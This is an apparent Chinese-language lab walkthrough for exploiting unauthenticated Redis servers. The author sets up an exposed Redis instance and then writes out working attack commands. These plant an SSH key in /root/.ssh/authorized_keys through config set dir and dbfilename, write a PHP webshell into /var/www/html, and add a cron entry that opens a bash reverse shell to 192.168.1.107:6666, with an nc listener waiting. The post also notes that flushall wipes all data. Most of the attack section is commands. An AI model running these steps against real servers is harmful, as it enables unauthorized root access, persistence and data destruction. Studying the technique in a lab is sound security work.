Redis未授权访问
简介
Redis介绍
Redis
是一个开源的使用ANSI C
语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value
数据库,并提供多种语言的API
。从2010年3月15日
起,Redis
的开发工作由VMware
主持。从2013年5月
开始,Redis
的开发由Pivotal
赞助
Redis未授权访问漏洞
Redis
因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall
来清空所有数据攻击者可通过
EVAL
执行lua
代码,或通过数据备份功能往磁盘写入后门文件如果
Redis
以root
身份运行,可以给root
账户写入SSH
公钥文件,直接通过SSH
登录受害服务器
环境搭建
引言
各位大佬们都喜欢用kali linux
当作攻击机,Ubuntu
或者CentOS
当作靶机,这样会方便一些,但是使用kali
当作攻击机,redis-cli
命令也需要安装redis
,我这里尝试了一下攻击机用win10
,靶机用kali
Linux软件安装
linux上安装命令如下
1 | wget http://download.redis.io/releases/redis-3.2.0.tar.gz |
然后修改配置文件redis.conf
1 | bind 127.0.0.1前面加上#号 //去掉ip绑定,允许除本地外的主机远程登录redis服务 |
开启redis
服务,默认端口是6379
1 | ./src/redis-server redis-conf |
使用redis-cli
命令的方式
可以直接进入src
文件夹 ./redis-cli -h 127.0.0.1 -p 6379
下面的我使用的环境
攻击机 | 靶机 | 测试工具 | |
---|---|---|---|
windows 10 :192.168.1.107 | kali linux :192.168.1.109 | scrt、nc、nmap |
redis
的安装不在多说了,windows
版的github
有,运行页面如下
- info查看信息
- set x “test”设置变量x为test
- get x 查看x的值
- flushall 是把整个redis数据库删除,一般情况下不要用!!!
- keys * 获取所有键名
- config set/get dir 顾名思义get是获取,set是设置,set可用于写文件,下面会用到
- config set/get dbfilename 与上属命令组合使用
- save 保存
攻击利用方法
写ssh-keygen公钥然后使用私钥登陆
原理就是在数据库中插入一条数据,将本机的公钥作为value,key
值随意,然后通过修改数据库的默认路径为/root/.ssh
和默认的缓冲文件authorized.keys
,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh
下生一个授权的key
利用条件:
Redis
服务使用ROOT
账号启动服务器开放了
SSH
服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
使用nmap
检查端口开放情况
使用redis-cli
连接到服务器,redis-cli.exe -h 192.168.1.109 -p 6379
使用SCRT
使用公钥私钥对,操作步骤如下
然后去该目录下,发现多出两个文件
接下来使用
redis
将公钥内容写入目标主机的缓冲里
使用文本模式打开.pub
文件,字符串如下
1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/sG4Y1CZkoBaEzwHfETvgeJO1/gscJPZg0YTtgEVvk9Gju9DnHIzm1M8gF8lwysUkTMDc+xdHDplIjzgzvGeTBhLTgPsGtdsVggpXDGn6qRHFlxrDLqNb+8fLwv6Afhq7VZ0idvbH/wKQDGTANzY6rFB3RBjOK3Pd8uL4RIa1JpoOX9oBTP94Xx9Ps+vUgxwaYw2hT/ILMYBQuaVcuZ7JXLicaJEi0us+UEhoVNSjBAqJw0M0M9lVE4MXJxz99YVh3cnwx2v5/XrkDX9xif4RUeLWAod2VGCsKgPmjZLSiNPKzrp9da22XRhIVHrBsqw7oCx0YyS+E9klbCrt+Oj1 qiushui@DESKTOP-9Q53NV6 |
首先查看靶机上的/root/.ssh
文件夹下的文件
通过攻击机远程redis
执行命令如下,\n
是换行,方式数据混淆
1 | 192.168.1.109:6379> config set dir /root/.ssh/ |
回到靶机查看是否生成authorized_keys
文件,如下图
设置SCRT
使用公钥链接,
如下图
使用公钥登录,如下
输入之前设置的通行段语123456
成功登录
写webshell
当redis
权限不高时,并且服务器开着web
服务,在redis
有web
目录写权限时,可以尝试往web
路径写webshell
执行以下命令
192.168.1.109:6379> config set dir /var/www/html/
192.168.1.109:6379>config set dbfilename shell.php
192.168.1.109:6379>set x "<?php phpinfo();?>"
192.168.1.109:6379> save
这里我没开web
服务我就不演示了,上一小节已证明可以写入成功
利用计划任务执行命令反弹shell
在redis
以root
权限运行时可以写crontab
来执行命令反弹shell
先在自己的服务器上监听一个端口
1 | nc -lvnp 6666 |
执行命令
192.168.1.109:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.107/6666 0>&1\n"
192.168.1.109:6379> config set dir /var/spool/cron/
192.168.1.109:6379> config set dbfilename root
192.168.1.109:6379>save
操作失败,感觉应该是操作系统的问题,后续研究吧 吃饭先。。此处用CentOS
作为靶机没有问题